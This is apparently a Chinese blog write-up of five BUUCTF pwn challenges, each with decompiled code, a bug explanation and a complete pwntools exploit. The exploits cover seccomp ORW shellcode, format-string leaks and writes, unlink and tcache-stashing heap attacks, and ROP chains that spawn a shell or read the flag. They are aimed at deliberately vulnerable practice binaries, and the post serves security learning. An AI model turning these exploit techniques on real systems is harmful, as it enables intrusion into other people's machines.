BUUCTF pwn wp 136 - 140

pwnable_asm

pwnable_asm$ file asm;checksec asm 
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b8a9457e71faa2eb5e9, not stripped
[*] '/home/pwn/桌面/22-04-21/pwnable_asm/asm'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

无canary, 有NX, 但是会被调用执行
程序直接读入shellcode, 但是有沙箱

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rdx
  char *s; // [rsp+18h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to shellcoding practice challenge.");
  puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
  puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
  puts("If this does not challenge you. you should play 'asg' challenge :)");
  s = (char *)mmap((void *)0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
  memset(s, 144, 0x1000uLL);
  v3 = strlen(stub);
  memcpy(s, stub, v3);
  printf("give me your x64 shellcode: ");
  read(0, s + 46, 0x3E8uLL);
  alarm(0xAu);
  chroot("/home/asm_pwn");
  sandbox();
  ((void (__fastcall *)(const char *))s)("/home/asm_pwn");
  return 0;
}

ORW

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
  if ( (int)seccomp_load(v1) < 0 )
  {
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

直接ORW打开flag读取并打印

from pwn import *

url, port = "node4.buuoj.cn", 27279
filename = "./asm"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def pwn():
    mmap_addr = 0x41414000
    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read(3, mmap_addr, 0x30)
    shellcode += shellcraft.write(1, mmap_addr, 0x30)
    io.sendlineafter('x64 shellcode: ', asm(shellcode))


if __name__ == "__main__":
    pwn()
    io.interactive()

picoctf_2018_echooo

picoctf_2018_echooo$ file PicoCTF_2018_echooo;checksec PicoCTF_2018_echooo 
PicoCTF_2018_echooo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
[*] '/home/pwn/桌面/22-04-21/picoctf_2018_echooo/PicoCTF_2018_echooo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // [esp+14h] [ebp-94h]
  FILE *stream; // [esp+18h] [ebp-90h]
  char s[64]; // [esp+1Ch] [ebp-8Ch] BYREF
  char v6[64]; // [esp+5Ch] [ebp-4Ch] BYREF
  unsigned int v7; // [esp+9Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  memset(s, 0, sizeof(s));
  memset(s, 0, sizeof(s));
  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(v6, 64, stream);
  while ( 1 )
  {
    printf("> ");
    fgets(s, 64, stdin);
    printf(s);
  }
}

fgets会在字符串末尾添'\0', 所以不能直接传64bytes不截断泄露flag, 但是printf(s)有fmt漏洞而且可以无限次利用, 所以用fmt逐次泄露flag

from pwn import *

url, port = "node4.buuoj.cn", 25184
filename = "./PicoCTF_2018_echooo"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def pwn():
    flag=''

    for i in range(20, 50):
        payload = '%' + str(i) + '$p'
        io.sendline(payload)
        io.recvuntil('> 0x', timeout=0.5)
        try:
            revnum = int(io.recvuntil('\n', drop=True), 16)
            ch3 = revnum >> 24
            ch2 = (revnum >> 16) & 0xff
            ch1 = (revnum >> 8) & 0xff
            ch0 = revnum & 0xff
            flag += chr(ch0) + chr(ch1) + chr(ch2) + chr(ch3)
        except: pass

    log.info('Done leaking flag:{}'.format(flag))


if __name__ == "__main__":
    pwn()

jarvisoj_level6_x64

jarvisoj_level6_x64$ file freenote_x64;checksec freenote_x64 
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
[*] '/home/pwn/桌面/22-04-21/jarvisoj_level6_x64/freenote_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

菜单heap

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_4009FD(a1, a2, a3);
  initial();
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        show();
        break;
      case 2u:
        add();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        delete();
        break;
      case 5u:
        puts("Bye");
        return 0LL;
      default:
        puts("Invalid!");
        break;
    }
  }
}

add函数

int add()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  int size; // [rsp+10h] [rbp-10h]
  void *content; // [rsp+18h] [rbp-8h]

  if ( *(_QWORD *)(notes + 8) < *(_QWORD *)notes )
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)notes;
      if ( i >= *(_QWORD *)notes )
        break;
      if ( !*(_QWORD *)(notes + 24LL * i + 16) )
      {
        printf("Length of new note: ");
        size = readin();
        if ( size > 0 )
        {
          if ( size > 4096 )                    // <= 4096
            size = 4096;
          content = malloc((128 - size % 128) % 128 + size);// aligned to 128 (0x80
          printf("Enter your note: ");
          sub_40085D(content, (unsigned int)size);
          *(_QWORD *)(notes + 24LL * i + 16) = 1LL;// inuse_flag
          *(_QWORD *)(notes + 24LL * i + 24) = size;// note_size
          *(_QWORD *)(notes + 24LL * i + 32) = content;// content_ptr
          ++*(_QWORD *)(notes + 8);
          LODWORD(v0) = puts("Done.");
        }
        else
        {
          LODWORD(v0) = puts("Invalid length!");
        }
        return v0;
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("Unable to create new note.");
  }
  return v0;
}

分配的chunk会按0x80对齐, 然后有inuse位和size, content_ptr
readnote函数里有逻辑漏洞, 读进a2长度的字符串后没有加截断符, 所以存在信息泄露

__int64 __fastcall readnote(__int64 a1, int a2)
{
  int i; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  if ( a2 <= 0 )
    return 0LL;
  for ( i = 0; i < a2; i += v4 )
  {
    v4 = read(0, (void *)(a1 + i), a2 - i);
    if ( v4 <= 0 )
      break;
  }
  return (unsigned int)i;
}

delete函数, 没有判断是否inuse, 直接free, 有double free漏洞(都加了inuse标志了居然还写出这个漏洞…

int delete()
{
  int index; // [rsp+Ch] [rbp-4h]

  if ( *(__int64 *)(notes + 8) <= 0 )
    return puts("No notes yet.");
  printf("Note number: ");
  index = readin();
  if ( index < 0 || index >= *(_QWORD *)notes )
    return puts("Invalid number!");
  --*(_QWORD *)(notes + 8);
  *(_QWORD *)(notes + 24LL * index + 16) = 0LL;
  *(_QWORD *)(notes + 24LL * index + 24) = 0LL;
  free(*(void **)(notes + 24LL * index + 32));
  return puts("Done.");
}

edit函数里realloc也不检查size大小, 直接申请更大的size就能修改, 存在堆溢出(所以这个题一共3个漏洞, 还可以glibc2.23的unlink, 算上的话应该是4个
漏洞利用: 截断符逻辑漏洞泄露heap地址和libc地址, 接着堆溢出用unlink劫持chunk0的content指针到chunk0地址处, 修改content指针到free@got, 再edit劫持free@got到system

from pwn import *

url, port = "node4.buuoj.cn", 25572
filename = "./freenote_x64"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def show():
    io.sendlineafter('Your choice: ', '1')

def add(size, content):
    io.sendlineafter('Your choice:', '2')
    io.sendlineafter('Length of new note: ', str(size))
    io.sendafter('Enter your note:', content)

def edit(index, size, content):
    io.sendlineafter('Your choice: ', '3')
    io.sendlineafter('Note number: ', str(index))
    io.sendlineafter('Length of note: ', str(size))
    io.sendafter('Enter your note: ', content)

def free(index):
    io.sendlineafter('Your choice: ', '4')
    io.sendlineafter('Note number: ', str(index))

def pwn():
    free_got = elf.got['free']

    add(0x80, cyclic(0x80)) # chunk0
    add(0x80, cyclic(0x80)) # chunk1
    add(0x80, cyclic(0x80)) # chunk2
    add(0x80, cyclic(0x80)) # chunk3

    free(0) 
    free(2) 
    add(0x8, 'heapheap') # chunk0
    add(0x8, 'libclibc') # chunk2
    # B()
    show() # leak heap address
    io.recvuntil('heapheap')
    heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0x1940
    io.recvuntil('libclibc')
    libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 88 - 0x3C4B20 
    lf('heap address', heap_addr)
    lf('libc base address', libc.address)

    free(1)
    free(2)
    free(3)

    # unlink 
    heap_chunk0 = heap_base + 0x30
    fd = heap_chunk0 - 0x18
    bk = heap_chunk0 - 0x10
    payload = p64(0) + p64(0x80) + p64(fd) + p64(bk)
    payload = payload.ljust(0x80, b'\x00')
    payload += p64(0x80) + p64(0x90)
    payload += cyclic(0x80) + p64(0x90) + p64(0x121)
    edit(0, len(payload), payload)
    free(1)
    
    # hijack free@got to system
    payload = p64(4) + p64(1) + p64(0x8) + p64(free_got) # set chunk0 size to 0x8
    payload += p64(1) + p64(8) + p64(heap_addr)
    payload = payload.ljust(0x120, b'\x00')
    edit(0, len(payload), payload)

    system_addr = libc.sym['system']
    edit(0, 0x8, p64(system_addr))
    edit(1, 0x8, '/bin/sh\x00')
    free(1)


if __name__ == "__main__":
    pwn()
    io.interactive()

npuctf_2020_level2

npuctf_2020_level2$ file npuctf_2020_level2;checksec npuctf_2020_level2 
npuctf_2020_level2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cbcae0571d86cbedd9a062947b11780f554776e6, not stripped
[*] '/home/pwn/桌面/22-04-21/npuctf_2020_level2/npuctf_2020_level2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

除了允许栈溢出, 其他保护全开
bss段的fmt漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    read(0, buf, 0x64uLL);
    if ( !strcmp(buf, "66666666") )
      break;
    printf(buf);
  }
  return 0;
}

一般非栈上的fmt漏洞采用rbp(ebp)地址链执行写操作, 但是这题没开局部变量, 所以又更为特殊, 这里使用args参数链进行写, 原理跟rbp链是类似的, 通过修改地址链来劫持特定地址的内容, 期间一直打不通发现是printf写数据很花时间所以需要sleep一段时间, 当然也可以sendafter()
参考: https://www.cnblogs.com/LynneHuan/p/14639168.html

from pwn import *

url, port = "node4.buuoj.cn", 25170
filename = "./npuctf_2020_level2"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    io.sendline('%9$p,%24$p')
    stack_addr, libc_addr = io.recvline().strip().split(b',')
    stack_addr = int(stack_addr, 16)
    libc_addr = int(libc_addr, 16)
    stack_ret_addr = stack_addr - 0xe0
    libc_base = libc_addr - 0x3e7638
    lf('stack ret address', stack_ret_addr)
    lf('libc base address', libc_base)

    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + gadgets[0]

    payload = "%{}c%9$hn".format((stack_ret_addr & 0xffff))
    io.sendline(payload)
    io.recv()
    for _ in range(2):
        io.sendline(cyclic(0x30))
        io.recv()
        sleep(2)

    payload = "%{}c%35$hn".format((one_gadget & 0xffff)) + 'z' * 0x10
    io.sendline(payload)
    io.recv()
    sleep(2)
    for _ in range(2):
        io.sendline(cyclic(0x30))
        io.recv()
        sleep(2)

    payload = "%{}c%9$hhn".format((stack_ret_addr & 0xff) + 2)
    io.sendline(payload)
    io.recv()
    sleep(2)
    for _ in range(2):
        io.sendline(cyclic(0x30))
        io.recv()
        sleep(2)

    payload = "%{}c%35$hhn".format(((one_gadget >> 16) & 0xff)) + 'z' * 0x10
    io.sendline(payload)
    io.recv()
    sleep(2)
    for _ in range(2):
        io.sendline(cyclic(0x30))
        io.recv()
        sleep(2)

    io.send('66666666' + '\x00')
    sleep(2)


if __name__ == "__main__":
    pwn()
    io.interactive()

[2020 新春红包题]3

[2020 新春红包题]3$ file RedPacket_SoEasyPwn1;checksec RedPacket_SoEasyPwn1 
RedPacket_SoEasyPwn1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f41911fda8502f138f958776e7735a747371dc9, for GNU/Linux 3.2.0, stripped
[*] '/home/pwn/桌面/22-04-21/[2020 新春红包题]3/RedPacket_SoEasyPwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

除了栈溢出其他保护全开
加了沙箱 (ban execve, 那就是ORW了) 的 glibc2.29(ban unsorted bin attack) 的菜单heap

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char buf[268]; // [rsp+0h] [rbp-110h] BYREF
  int choice; // [rsp+10Ch] [rbp-4h]

  choice = 0;
  malloc_chunk(a1, a2, a3);
  message();
  initial();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        choice = readin();
        if ( choice != 3 )
          break;
        edit(buf);
      }
      if ( choice > 3 )
        break;
      if ( choice == 1 )
      {
        if ( cnt0x1C <= 0 )
          failed();
        add(buf);
        --cnt0x1C;
      }
      else
      {
        if ( choice != 2 )
          goto LABEL_19;
        delete(buf);
      }
    }
    if ( choice == 5 )
      failed();
    if ( choice < 5 )
    {
      show(buf);
    }
    else
    {
      if ( choice != 666 )
LABEL_19:
        failed();
      sub_13BD();
    }
  }
}

666函数, 存在0x10栈溢出, 可以栈迁移ORW

ssize_t sub_13BD()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  if ( *(heapchunk + 2048) <= 0x7F0000000000LL || *(heapchunk + 2040) || *(heapchunk + 2056) )
    failed();
  puts("You get red packet!");
  printf("What do you want to say?");
  return read(0, buf, 0x90uLL);
}

delete函数, 悬空指针, 可以double free

int __fastcall delete(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = readin();
  if ( v2 > 0x10 || !*(16LL * v2 + a1) )
    failed();
  free(*(16LL * v2 + a1));
  return puts("Done!");
}

漏洞利用: 主要思想是tcache stashing unlink 劫持目标指针到 main_arena 附近, 进而把ORW shellcode写入目标段, 最后是栈迁移执行shellcode, get flag
tcache stashing unlink原理比较复杂, 参考CTFwiki: https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcache-stashing-unlink-attack

from pwn import *

url, port = "node4.buuoj.cn", 29074
filename = "./RedPacket_SoEasyPwn1"
elf = ELF(filename)
libc = ELF("./libc64-2.29.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.logilevel = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(index, sizetype, content):
    io.sendlineafter('Your input:', str(1))
    io.sendlineafter('idx:', str(index))
    io.sendlineafter('400):', str(sizetype))
    io.sendlineafter('content:', content)

def delete(index):
    io.sendlineafter('Your input:', str(2))
    io.sendlineafter('idx:', str(index))

def edit(index,content):
    io.sendlineafter('Your input:', str(3))
    io.sendlineafter('idx:', str(index))
    io.sendlineafter('content:', content)

def show(index):
    io.sendlineafter('Your input:', str(4))
    io.sendlineafter('idx:', str(index))

def pwn():
    # sizetype: [0x10, 0xf0, 0x300, 0x400]
    for i in range(8):
        add(i, 4, 'zzzz')
    add(8, 1, 'done')

    for i in range(8):
        delete(i)

    show(6)
    heap_addr = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x20) >> 8 
    heap_base = heap_addr - 0x0026c0
    
    show(7)
    libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    libc.address = libc_addr - 0x1e4ca0
    lf("heap_base", heap_base)
    lf("libc base address", libc.address) 
    
    add(0, 4, 'keepgoing') 
    for i in range(6):
        add(i, 2, str(i) * 4)
    add(6, 1, 'done')
    # B()
    for i in range(6): # needs 6 chunks in tcache
        delete(i)

    add(3, 3, 'zzzz') # put into tcache
    # put two bins into smallbin
    add(0, 4, 'chunk0')
    add(1, 1, 'chunk1')
    delete(0)
    add(2, 3, 'chunk2')
    add(3, 3, 'chunk3')
    add(4, 4, 'chunk4')
    add(5, 4, 'chunk5') # calloc will split chunk from smallbin
    delete(4)  
    add(6, 3, 'chunk6')
    add(7, 3, 'flag.txt')
    # B()
    payload = cyclic(0x300) + p64(0) + p64(0x101) 
    payload += p64(heap_base + 0x3f40) + p64(heap_base + 0x0a50)
    edit(4, payload)
    add(6, 2, 'zzzz')
    # B()
    
    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    write_addr = libc.sym['write']
    pop_rdi = 0x0000000000026542 + libc.address
    pop_rsi = 0x0000000000026f9e + libc.address
    pop_rdx = 0x000000000012bda6 + libc.address

    orw = p64(pop_rdi) + p64(heap_base + 0x004ba0) + p64(pop_rsi) + p64(0) 
    orw += p64(pop_rdx) + p64(0) + p64(open_addr)
    orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x260) 
    orw += p64(pop_rdx) + p64(0x100) + p64(read_addr)
    orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x260) 
    orw += p64(pop_rdx) + p64(0x100) + p64(write_addr)
    add(0, 4, orw)
    # B()
    io.sendline(str(666))
    payload = cyclic(0x80) + p64(heap_base + 0x004ea8) + p64(0x0000000000058373 + libc.address)
    io.sendafter('want to say?', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

ps: 第一次打tcache stashing的题, 其实我也没完全理解, 有的检查条件都囫囵吞枣了, 后面得再学一遍细节.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值